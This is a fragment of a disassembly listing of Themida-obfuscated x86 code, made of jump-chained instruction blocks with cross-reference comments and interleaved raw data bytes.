aTzh		db 'TZhÉ ',0
		align 2
		dw 3489h
		dd 3147BE24h, 0F7567391h, 0F75E2414h, 0F7C681D6h, 0C17AFA2Ch
		dd 0E0E904EEh, 83FFFFB7h, 59E904C4h, 33FFFFBFh,	4312404h
		dd 24043324h, 0FFD4B3E9h, 0BF57ADFFh, 1F2B66B8h, 33D1EF81h
		dd 0EFC16126h, 8EFC106h, 5AD3CF81h, 0F7812060h,	1CB8A356h
		dd 0FC55BF05h, 0E9F82926h, 0FFFF8412h
; ---------------------------------------------------------------------------

loc_50D138:				; CODE XREF: Themida_:0050925Aj
		mov	ecx, eax
		jmp	loc_50E398
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF5A2Ah, 30A8F280h, 71685AD0h, 89000069h,	0B450241Ch
		dd 30C2B39Fh, 0B29DE9E3h, 1C87FFFFh, 24248B24h,	24043166h
		dd 5A00E99Ch, 2CBDFFFFh, 29090634h, 42055DE8h, 2964F36Ah
		dd 6A422DF8h, 2C0564F3h, 5F090634h, 4EC835Dh, 0E9240C89h
		dd 0FFFFBE48h
; ---------------------------------------------------------------------------

loc_50D194:				; CODE XREF: Themida_:0050E95Bj
		shl	esi, 4
		xor	esi, 0DDE979EBh
		sub	ecx, esi
		pop	esi
		mov	edx, ecx
		pop	ecx
		push	edx
		pop	eax
		pop	edx
		and	ebx, eax
		push	dword ptr [esp]
		jmp	loc_5040C9
; ---------------------------------------------------------------------------

loc_50D1B0:				; CODE XREF: Themida_:0050D245j
		mov	esi, 5DA82232h
		push	esi
		sub	dword ptr [esp], 7BB13260h
		pop	edi
		jmp	loc_502DED
; ---------------------------------------------------------------------------
		db 68h
		dd 75D40EA8h, 94FBE95Ah, 0C480FFFFh, 53CC803Eh,	1A2E9h
		dd 4BF36800h, 34890000h, 0D51AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D1E6:				; CODE XREF: Themida_:00505227j
		or	edx, eax
		jmp	loc_5086AA
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 5C4E9h, 0EC98100h, 5512BD41h, 693731BDh, 0F0C1E915h
		dd 2CACFFFFh, 2C320413h, 52D800EBh, 107DE9h
		db 0
; ---------------------------------------------------------------------------

loc_50D215:				; CODE XREF: Themida_:0050F187j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_50741E
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 242C8900h, 2BDh, 5DEF0100h, 0E904EC83h, 0FFFFE416h
; ---------------------------------------------------------------------------

loc_50D244:				; CODE XREF: Themida_:00509B4Dj
		push	esi
		jmp	loc_50D1B0
; ---------------------------------------------------------------------------
		dw 0BA5Ch
		dd 0AD1399C4h, 5CC1EA81h, 0C2297835h, 5CC1C281h, 48B7835h
		dd 4C48124h, 0F7000000h, 7FBD55DAh, 81DF044Fh, 0F36029C2h
		dd 81EA0131h, 0F36029EAh, 242C8B31h, 647E9h, 8BDF0100h
		dd 0C481241Ch, 4, 2474FF57h, 243C8B04h,	260968h, 24348900h
		dd 0C681E689h, 4, 0FF71BBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50D2AD:				; CODE XREF: Themida_:0050AA01j
		push	ebx
		mov	bl, 8Dh
		and	ch, bl
		pop	ebx
		add	ch, 37h
		push	edx
		mov	dh, 72h
		shl	dh, 7
		push	eax
		mov	al, 9Dh
		jmp	loc_50353A
; ---------------------------------------------------------------------------
		dd 240C8B66h, 1B18E9h, 0CD015900h, 0A3B3E959h, 34FFFFFFh
		dd 0C4815924h, 4, 7530ECBAh, 0CEBD550Ch, 503C2711h, 0FFE146E9h
		dd 80C6FEFFh, 0EEC0FFEEh, 0DF87E907h, 0CF81FFFFh, 71FC3A06h
		dd 2535C781h, 0F8313168h, 0B3A5E95Fh, 248BFFFFh, 68E9F724h
		dd 1640h, 54241C89h, 6889E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D326:				; CODE XREF: Themida_:0050A476j
		sub	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_507C77
; ---------------------------------------------------------------------------
		db 0B8h, 2 dup(0)
		dd 68560000h, 5711h, 0FFEC13E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50D341:				; CODE XREF: Themida_:0050DF97j
		mov	ebx, edx
		pop	edx
		pop	edi
		neg	ebx
		shl	ebx, 3
		sub	ebx, 0AE08A0F0h
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_50596A
; ---------------------------------------------------------------------------

loc_50D36C:				; CODE XREF: Themida_:0050E316j
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, edi
		neg	edx
		jmp	loc_509C53
; ---------------------------------------------------------------------------
		db 80h
		dd 0DCF679C4h, 88B9EC80h, 0D53058E2h, 0EDC05A66h, 0BFB35303h
		dd 800CCB80h, 0DD305CEBh, 59E8305Bh, 0C09DB151h, 66E907E9h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D3A7:				; CODE XREF: Themida_:0050ABC0j
		sub	ecx, 0EE385F7Bh
		sub	edx, ecx
		pop	ecx
		xor	edx, 0E7495115h
		add	ecx, edx
		pop	edx
		jmp	loc_50914D
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 560A0834h, 0FF637AE9h, 240C87FFh, 0F144055Ch, 0C3299A8Ah
		dd 241C3358h, 0E9241C31h, 1261h, 0C15DEF89h, 0C78302E7h
		dd 0BBB53FFh, 0F7247243h, 81D3F7D3h, 0FB07D1EBh, 0E9DF09AFh
		dd 0FFFFAA91h
; ---------------------------------------------------------------------------

loc_50D400:				; CODE XREF: Themida_:00506564j
		add	edx, 3D041345h
		jmp	loc_50AB6C
; ---------------------------------------------------------------------------

loc_50D40B:				; CODE XREF: Themida_:00508C85j
		pop	esi
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	33CDh
		jmp	loc_503FB9
; ---------------------------------------------------------------------------
		dw 6857h
		dd 4, 0FF6E58E9h, 282C2CFFh, 522C04E8h,	0F0287DB6h, 91E9595Ah
		dd 1FFFF57h, 75B850D6h,	0E940305Fh, 0FFFF7A5Ah
; ---------------------------------------------------------------------------

loc_50D454:				; CODE XREF: Themida_:0050B9D5j
		xchg	ebx, [esp]
		jmp	loc_507DAB
; ---------------------------------------------------------------------------
		dd 29A668h, 24048900h, 0FFAEF4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50D469:				; CODE XREF: Themida_:0050D489j
		mov	eax, 134B6500h
		mov	esi, eax
		pop	eax
		jmp	loc_505127
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 0DDB6B951h, 24E90660h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D483:				; CODE XREF: Themida_:00505B43j
		add	esp, 4
		pop	edi
		push	esi
		push	eax
		jmp	loc_50D469
; ---------------------------------------------------------------------------
		dw 0C5FEh
aXSsb		db 'Àå',7,'Séb',0Ah,0
		db 0
; ---------------------------------------------------------------------------

loc_50D499:				; CODE XREF: Themida_:00504B14j
		push	ebx
		mov	ebx, 6CBF4B53h
		xor	[esp+4], ebx
		pop	ebx
		pop	dword ptr [edi+20h]
		jmp	loc_5086DF
; ---------------------------------------------------------------------------
		dd 4CE95359h, 66FFFF7Fh, 52240C8Bh, 0C281E289h,	4, 0FFC0E1E9h
		dd 8BF201FFh, 0EC832434h, 24048904h, 405E089h, 5000000h
		dd 4, 5C240487h, 3304EA83h, 9AE92414h, 53FFFFDCh, 0FFD307E9h
		dd 241C8BFFh, 4C481h, 0D8280000h, 334E9h, 0C0B60F00h, 0E98734FFh
		dd 0FFFF71F5h
; ---------------------------------------------------------------------------

loc_50D50C:				; CODE XREF: Themida_:0050BFB8j
		push	ebx
		push	3EFE68DBh
		pop	ebx
		jmp	loc_507B04
; ---------------------------------------------------------------------------
		dd 42467C1h, 3E247781h,	0C17A8231h, 0C1072467h,	81062467h
		dd 4ECh, 24048900h, 26196852h, 94E920A2h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D53F:				; CODE XREF: Themida_:0050C8DFj
		mov	[edi+eax*4+1], bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_502B6E
; ---------------------------------------------------------------------------

loc_50D551:				; CODE XREF: Themida_:00509A74j
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_50DB5C
; ---------------------------------------------------------------------------
		dd 5658C101h, 2BEh, 5EF10100h, 31240C33h, 0C33240Ch, 24248B24h
		dd 0C8AF0F66h, 0FF983CE9h, 5AA1BBFFh, 65E9419Ch
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D58F:				; CODE XREF: Themida_:00509656j
		or	eax, 4F3F1F5Ch
		add	eax, 0F4464044h
		add	esi, eax
		pop	eax
		jmp	loc_50F3CC
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aH8		db '$h',8,'8',0
		align 2
		dw 40E9h
		dd 5AFFFF9Dh, 0B8E9FB29h, 89FFFFC8h, 14F72414h,	0F2815A24h
		dd 35B4E386h, 76E9D001h, 52FFFF91h, 0C281E289h,	4, 8904EC83h
		dd 0ECBB241Ch, 0C1198376h, 0DBF702EBh, 0FFFE8DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50D5E9:				; CODE XREF: Themida_:0050998Dj
					; Themida_:0050A052j ...
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		push	35FDh
		mov	[esp], edx
		jmp	loc_505C1D
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	2329h
		mov	[esp], ebp
		push	7C3B41FEh
		jmp	loc_50B7E6
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 68h
		dd 0B813F96Fh, 169D4A07h, 0E95FF831h, 0FFFFA8A0h, 4C4815Ah
		dd 0E9000000h, 0FFFFEB92h
; ---------------------------------------------------------------------------

loc_50D640:				; CODE XREF: Themida_:0050A250j
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		mov	edi, 1
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_50E55B
; ---------------------------------------------------------------------------

loc_50D664:				; CODE XREF: Themida_:00506AE8j
		add	ebx, 4
		push	esi
		push	ecx
		push	0C8Ah
		mov	[esp], edi
		mov	edi, 7CA51F67h
		jmp	loc_50D858
; ---------------------------------------------------------------------------
		dw 5755h
		dd 0FFE1A9E9h, 6C54BDFFh, 0DDF75DFFh, 0FF9C0CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50D691:				; CODE XREF: Themida_:005082B5j
		xchg	eax, [esp]
		jmp	loc_508180
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 81h
		dd 0DB15C1EBh, 0F2B85022h, 0E90DE73Dh, 0FFFF6651h
; ---------------------------------------------------------------------------

loc_50D6AC:				; CODE XREF: Themida_:0050940Bj
		push	edi
		mov	edi, 5E2039D4h
		add	[esp+0Ch], edi
		pop	edi
		jmp	loc_5062EA
; ---------------------------------------------------------------------------

loc_50D6BC:				; CODE XREF: Themida_:0050B731j
		add	esp, 4
		push	ecx
		jmp	loc_50C1FC
; ---------------------------------------------------------------------------
		dd 170468h, 242C8900h, 2BDh, 0E9EF0100h, 0FFFFE395h
; ---------------------------------------------------------------------------

loc_50D6DC:				; CODE XREF: Themida_:00507AAAj
		pop	edi
		sub	ebx, eax
		jmp	loc_505009
; ---------------------------------------------------------------------------
		dd 9F7EE95Dh, 0F752FFFFh, 148B2414h, 9C44E924h,	0E3C1FFFFh
		dd 20C38108h, 0E9756515h, 0FFFFAC87h, 31ECBA52h, 0E1E93622h
		dd 20000007h, 83525AF0h, 8F5404ECh, 4832404h, 81E90424h
		dd 2DFFFFF5h, 92CAF941h, 0FF8E64E9h, 24148BFFh,	0E9E18951h
		dd 0FFFFA864h
; ---------------------------------------------------------------------------

loc_50D738:				; CODE XREF: Themida_:005057EDj
		sub	esi, 9DA6D542h
		and	edi, esi
		pop	esi
		sub	edi, 0F252C916h
		mov	edx, edi
		pop	edi
		push	1CC9h
		mov	[esp], eax
		mov	eax, 76D37E7Bh
		sub	eax, 35974DCFh
		push	eax
		mov	eax, 24D271B0h
		sub	eax, 49F3591Fh
		push	esi
		jmp	loc_507D79
; ---------------------------------------------------------------------------

loc_50D76D:				; CODE XREF: Themida_:00503E2Bj
		pop	ebp
		jmp	loc_508144
; ---------------------------------------------------------------------------

loc_50D773:				; CODE XREF: Themida_:0050E4AAj
		push	3B175A34h
		pop	edx
		xor	edx, 10D447E7h
		push	eax
		mov	eax, 1F922C9Dh
		shl	eax, 2
		dec	eax
		add	eax, 8B9A8379h
		or	edx, eax
		jmp	loc_505D01
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 7Bh
		dd 2967EAF2h, 0D1F75DE9h, 0FFF7E3E9h, 53C4E9FFh, 0E801FFFFh
		dd 726FBE56h, 0F02973B4h, 0FF99E5E9h, 53B0E9FFh, 0C8BFFFFh
		dd 4C48124h, 68000000h,	751Fh, 51242C89h, 832089B9h, 0F55DE94Bh
		dd 0E95CFFFFh, 0FFFF96B3h
; ---------------------------------------------------------------------------

loc_50D7E0:				; CODE XREF: Themida_:0050989Dj
		push	eax
		mov	eax, 0DF84D3EFh
		add	edx, eax
		jmp	loc_507987
; ---------------------------------------------------------------------------

loc_50D7ED:				; CODE XREF: Themida_:00502F41j
		mov	[esp], eax
		jmp	loc_50ACCE
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 5504C483h, 0FFAC6AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50D801:				; CODE XREF: Themida_:0050D0CEj
		sub	edx, 0E05BD8h
		jmp	loc_50CE9C
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 34FF2434h, 0C4835824h
		db 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_50AB24
; ---------------------------------------------------------------------------

loc_50D827:				; CODE XREF: Themida_:0050C533j
		pop	ebx
		jmp	loc_50DC6D
; ---------------------------------------------------------------------------
		db 30h,	4, 24h
		dd 0FFED88E9h, 0B8B753FFh, 0C780CFFEh, 0E9F800C3h, 0FFFF9141h
		dd 587CC581h, 0F5811912h, 2A3C056Ah, 0E95DEA89h, 0FFFF9CFBh
; ---------------------------------------------------------------------------

loc_50D858:				; CODE XREF: Themida_:0050D679j
		mov	ecx, 7CA51F6Bh
		sub	ecx, edi
		jmp	loc_5061DD
; ---------------------------------------------------------------------------
		dd 5C240487h, 0BE243489h, 464E43F7h, 7679B951h,	0E1C16A17h
		dd 0E9814908h, 35DE5417h, 777AC181h, 40E935FCh,	0C1FFFF8Fh
		dd 68E902E5h, 0B6FFFFA1h, 66F02818h, 66D8285Ah,	18B353h
		dd 8B5B66D8h, 8953241Ch, 9DB850E3h, 0C17F727Eh,	1C3508E0h
		dd 0D1D5203h, 3C6177FEh, 0FF6F4FE9h, 4EC81FFh, 0E9000000h
		dd 0FFFF964Fh, 4C481h, 0D0310000h, 986BE95Ah, 0C181FFFFh
		dd 4, 5104C183h, 0FF825FE9h, 0C6815AFFh, 2, 0E9243433h
		dd 0FFFF949Dh, 619ED81h, 0CD810679h, 24C66C71h,	1378E581h
		dd 0BF571065h, 256A4C16h, 0E781DFF7h, 5FD163D2h, 0E902EFC1h
		dd 0FFFFC40Eh, 675ABF66h, 66F80166h, 241C8B5Fh,	4C481h
		dd 89500000h, 5D65E9E0h, 0D9F7FFFFh, 0A685357h,	5B18AA3Bh
		dd 41FDCB81h, 0C3812889h, 560D2DFEh, 9276C381h,	0DF89A18Fh
		dd 0FF9D45E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50D95D:				; CODE XREF: Themida_:00506C14j
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 138C1C0Ch
		jmp	loc_505090
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 0CF2970C3h, 76055A0Ah, 2D32C61Ah, 0E6A425Ah,	75AF62Dh
		dd 0C2D6E900h, 0E830FFFFh, 0FF9D51E9h, 339C2DFFh, 0C4356DB2h
		dd 81A7E0E5h, 6D6441E9h, 0E9C10137h, 0FFFFE16Ah, 63F368h
		dd 243C8900h, 33790BFh,	0D4EA8124h, 1320770h, 0D4C281FAh
		dd 5F320770h, 0FF51A1E9h, 0FDE959FFh, 55FFFFAFh, 0FF9E02E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50D9D9:				; CODE XREF: Themida_:005082F5j
		mov	esi, ebx
		push	esi
		push	ebp
		push	ebx
		push	esi
		mov	esi, 5E9A5BBAh
		mov	ebx, esi
		pop	esi
		jmp	loc_50E080
; ---------------------------------------------------------------------------
		dd 24048B66h, 0DCA6852h, 24890000h, 4BD5524h, 1000000h
		dd 5D04246Ch, 4C2815Ah,	0E9000000h, 0FFFFBA0Ch
; ---------------------------------------------------------------------------

loc_50DA10:				; CODE XREF: Themida_:0050BA15j
		add	ecx, 3FAF62B0h
		add	[ecx], ebx
		pop	ecx
		pop	eax
		pop	ecx
		pop	ebx

loc_50DA1C:				; CODE XREF: Themida_:00506AD8j
		push	1393h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4AAE4115h
		jmp	loc_508531
; ---------------------------------------------------------------------------
		dw 0B6BBh
		dd 9176514h, 0C1815BD9h, 0A0182006h, 45D6B951h,	0E9C104CCh
		dd 0CCC18102h, 53142F12h, 1894E9h, 242C8900h, 53BE9h, 0BA525300h
		dd 4DA6728Bh, 0FFB07DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50DA6D:				; CODE XREF: Themida_:00508146j
		not	ebx
		push	ebp
		push	ebx
		pop	ebp
		jmp	loc_504A23
; ---------------------------------------------------------------------------
		db 88h
		dd 5AF488EEh, 81240C8Bh, 4C4h, 0ECC48000h, 0E958E788h
		dd 0FFFFE330h
; ---------------------------------------------------------------------------

loc_50DA90:				; CODE XREF: Themida_:0050961Dj
		pop	ecx
		dec	esi
		shr	esi, 1
		inc	esi
		jmp	loc_502D36
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0DBF5E924h, 685AFFFFh, 5467h, 89242C89h, 4BE56E5h, 1000000h
		dd 0A8E95EF5h, 54FFFFD1h, 4BD555Bh, 1000000h, 0E9555DEBh
		dd 0FFFF66B4h
; ---------------------------------------------------------------------------

loc_50DACC:				; CODE XREF: Themida_:00502C64j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_50EF02
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0A1412965h, 8159CB29h, 7E7341EBh, 7FE95E17h,	89FFFF50h
		dd 0FB015EF3h, 0FF9660E9h, 0B8504BFFh, 374855BCh, 7535D0F7h
		dd 35BDB3F9h, 32127E3Dh, 2D58C331h, 55733CC5h, 0C505D801h
		dd 8B55733Ch, 0C483241Ch, 74FF5004h, 8F580424h,	248B2404h
		dd 503CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50DB32:				; CODE XREF: Themida_:0050C972j
		push	edi
		jmp	loc_50C786
; ---------------------------------------------------------------------------
		dd 5C241487h, 8702C183h, 248B240Ch, 240CD224h, 5020E99Ch
		dd 8B66FFFFh, 54512404h, 0E9240C8Bh, 10AFh
; ---------------------------------------------------------------------------

loc_50DB5C:				; CODE XREF: Themida_:0050D55Fj
		test	ecx, eax
		pushf
		jmp	loc_502B6E
; ---------------------------------------------------------------------------
		dd 0C1005E34h, 0FEC9FE58h, 7B353C1h, 2CEB80h, 0C8305BD9h
		dd 0FFA6CAE9h, 126855FFh, 8900007Eh, 0BF572424h, 4, 4247C01h
		dd 5819E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50DB96:				; CODE XREF: Themida_:00504767j
		pop	esi
		add	edi, ecx
		pop	ecx
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_50980E
; ---------------------------------------------------------------------------
		db 0B9h
		dd 20E47A1h, 684DF181h,	0CE890E7Bh, 0FFF71DE9h,	28585BFFh
		dd 1E95AD0h, 66FFFF85h,	5124048Bh, 0ADE95455h, 5DFFFF90h
		dd 0D9895E59h, 0D20055Bh, 0C829511Bh, 36A6BB53h, 0CB814371h
		dd 677A643Eh, 3E3C143h,	0FFFB05E9h, 737568FFh, 4890000h
		dd 2434FF24h, 0F9C9E958h, 0E300FFFFh, 581BC380h, 0FF508BE9h
		dd 22D7B9FFh, 0C1815B9Fh, 751B0B48h, 7B0AF181h,	0C181512Dh
		dd 20155622h, 8B09C181h, 0CA31E203h, 0A294E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50DC32:				; CODE XREF: Themida_:00503BFEj
		pop	ebx
		jmp	loc_50A94F
; ---------------------------------------------------------------------------

loc_50DC38:				; CODE XREF: Themida_:00504D3Bj
		mov	ebp, 53B57D07h
		inc	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 53B53D08h
		xor	ebp, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_50AD1C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8324h, 0FF8A8DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50DC6D:				; CODE XREF: Themida_:0050D828j
		push	5919h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_506ABB
; ---------------------------------------------------------------------------
		db 89h
		dd 75FD68E7h, 98E90000h, 83FFFF53h, 2F6804C4h, 8900003Dh
		dd 0E9522434h, 0FFFF5343h
; ---------------------------------------------------------------------------

loc_50DCA8:				; CODE XREF: Themida_:0050E97Bj
		add	ebx, edi
		push	dword ptr [ebx]
		xor	dword ptr [esp], 442A3576h
		mov	ecx, [esp]
		push	ecx
		jmp	loc_5055BB
; ---------------------------------------------------------------------------
		dd 89241489h, 92B6E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50DCC6:				; CODE XREF: Themida_:0050D07Cj
		sub	esp, 4
		jmp	loc_50408A
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4C281h, 4BE90000h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50DCDF:				; CODE XREF: Themida_:00507CF3j
		pop	ecx
		jmp	loc_507FE9
; ---------------------------------------------------------------------------
aQrq		db '[QRQ±Ô²',7,0
		dw 59CAh
		dd 148BD588h, 0B6E95024h, 0FEFFFF98h, 62B151C3h, 459CB30h
		dd 2CD800CDh, 1C8B66CDh, 0E7895724h, 4C781h, 10E90000h
		dd 87FFFFF5h, 835C240Ch, 348904ECh, 4E95324h, 89FFFFB8h
		dd 0EC81241Ch, 4, 0FFCEE8E9h, 43C281FFh, 0C1F33117h, 3EE906EAh
		dd 5C00000Ch, 0E9241C89h, 0FFFF9321h, 81DE015Bh, 5C68D4C6h
		dd 0C913E912h, 0E951FFFFh, 0FFFFB205h, 240C8B66h, 4EC81h
		dd 2C890000h, 0E9E58924h, 0FFFFFFE6h
; ---------------------------------------------------------------------------

loc_50DD78:				; CODE XREF: Themida_:0050E6B3j
		mov	edx, 2
		push	ebx
		mov	ebx, 775F227Dh
		sub	ebx, 0FC76F1FEh
		sub	ebp, ebx
		pop	ebx
		jmp	loc_50DFD4
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 5Bh
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50DD97:				; CODE XREF: Themida_:00505ABEj
		add	ebx, esi
		jmp	loc_50BAC9
; ---------------------------------------------------------------------------
		dw 0FF54h
		dd 83582434h, 555704C4h, 133BDCBDh, 6BB85067h, 0E9501250h
		dd 0FFFF7EB0h, 24048B66h, 5B1468h, 24348900h, 5404EC83h
		dd 8324048Fh, 0E9042404h, 0FFFFF0AEh, 54E95B66h, 81FFFF53h
		dd 4C2h, 4C28100h, 87000000h, 685C2414h, 5ACAh,	68243C89h
		dd 0DCh, 81242489h, 42404h, 80E90000h, 0F7FFFFC2h, 1AE181D1h
		dd 8150E10Bh, 56609FC1h, 59CD8953h, 377CC181h, 0E929279Eh
		dd 0ADFEE957h, 8952FFFFh, 4C281E2h, 56000000h, 6FA0BA52h
		dd 96E902ACh
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50DE3B:				; CODE XREF: Themida_:0050EEF2j
		xchg	edx, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_504B80
; ---------------------------------------------------------------------------

loc_50DE57:				; CODE XREF: Themida_:00503542j
		add	al, 0E8h
		jmp	loc_5096DB
; ---------------------------------------------------------------------------

loc_50DE5E:				; CODE XREF: Themida_:005041A8j
		or	edx, 15730B94h
		inc	edx
		jmp	loc_508CAA
; ---------------------------------------------------------------------------
		dw 0B551h
		dd 3BED80AFh, 0F679F580h, 29C580D5h, 0FF6059E9h, 241C33FFh
		dd 0FF8757E9h, 0E9B7B5FFh, 0FFFFC22Ch, 0BA241489h, 44944877h
		dd 4203E2C1h, 7A3CCA81h, 0CA814D1Eh, 4F0F4841h,	0FFBC0EE9h
		dd 4C183FFh, 5C240C87h,	0E902C083h, 0FFFF5B41h,	4245C29h
		dd 0FFB217E9h, 0FFE831FFh, 2E92434h, 53FFFF6Ah,	3B114CBBh
		dd 9FE3815Eh, 81064544h, 0FEFFF5C3h, 8BD929F9h,	0C483241Ch
		dd 0D9E98104h, 0E9DFEDFFh, 0FFFFC695h, 4245431h, 0F0E95B5Ah
		dd 0B3FFFFD9h, 51C3FE51h, 0CB0080B1h, 0E9DD2859h, 0FFFF6028h
		dd 5093B652h, 0D886F088h, 0D886D3F6h, 0E958C688h, 0FFFF8CF9h
		dd 0C181F901h, 5A7627F7h, 582BC181h, 0C1813DA2h, 39134B3h
		dd 2BE90103h, 8BFFFFA6h, 0E0E9242Ch
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50DF43:				; CODE XREF: Themida_:0050AB1Fj
		sub	ecx, ebp
		pop	ebp
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		add	esp, 4
		sub	dword ptr [esp], 51B3BEBh
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_50C59D
; ---------------------------------------------------------------------------
		dw 0DEBFh
		dd 0C17CCA3Dh, 0F78105EFh, 3E651EAh, 0F0E9F801h, 58FFFFB3h
		dd 0FF665FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50DF95:				; CODE XREF: Themida_:0050830Dj
		mov	edx, edi
		jmp	loc_50D341
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 4C581h, 5EE90000h, 89000002h,	4812424h
		dd 424h, 58685F00h, 89000012h, 0E952240Ch, 0FFFF8D35h
		dd 67D96857h, 0E95F3940h, 0FFFF937Eh
; ---------------------------------------------------------------------------

loc_50DFD4:				; CODE XREF: Themida_:0050DD8Cj
		add	ebp, edx
		add	ebp, 7AE8307Fh
		mov	edx, [esp]
		push	edx
		jmp	loc_50B3C2
; ---------------------------------------------------------------------------
		align 2
		dw 80CBh
		dd 0B4E91DC3h, 52FFFF97h, 262106BAh, 81D2F722h,	4ECh, 24348900h
		dd 4071B7BEh, 5EF22953h, 703DBE56h, 12E90B24h, 1FFFFA3h
		dd 0C3815AD1h, 63196721h, 0DDE9CB01h, 0FEFFFFA0h, 80DAF6CAh
		dd 0D508D6EAh, 0FFA7FBE9h, 0B7F380FFh, 0FF8C2FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50E039:				; CODE XREF: Themida_:0050C017j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_50979F
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFEED3h, 8904EC83h, 0B652241Ch, 9962E907h, 0D1F7FFFFh
		dd 2474FF51h, 7BFE904h,	0D8F70000h, 158E9h, 58E28800h
		dd 0FEC2FE5Bh, 0F6D2F6CAh, 1AB551DAh, 0E982B353h, 0FFFF4EABh
; ---------------------------------------------------------------------------

loc_50E080:				; CODE XREF: Themida_:0050D9E7j
		xor	ebx, 0DB76903h
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		inc	ebx
		xor	ebx, 68C20F56h
		jmp	loc_50967A
; ---------------------------------------------------------------------------
		dd 2C481h, 222C0000h, 0FF9B0DE9h, 50CE01FFh, 0FE39BDB8h
		dd 58C6296Ch, 4C68159h,	0E9000000h, 0FFFF64D3h,	586CE81h
		dd 0B8500FADh, 1, 0FFD781E9h, 24048AFFh, 2404C483h, 802F2C7Ch
		dd 526611C3h, 0F30068B6h, 0C3805A66h, 81C32875h, 4ECh
		dd 24048900h, 0AE975B4h, 5DFFFFCCh, 34FFD831h, 0BE1EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

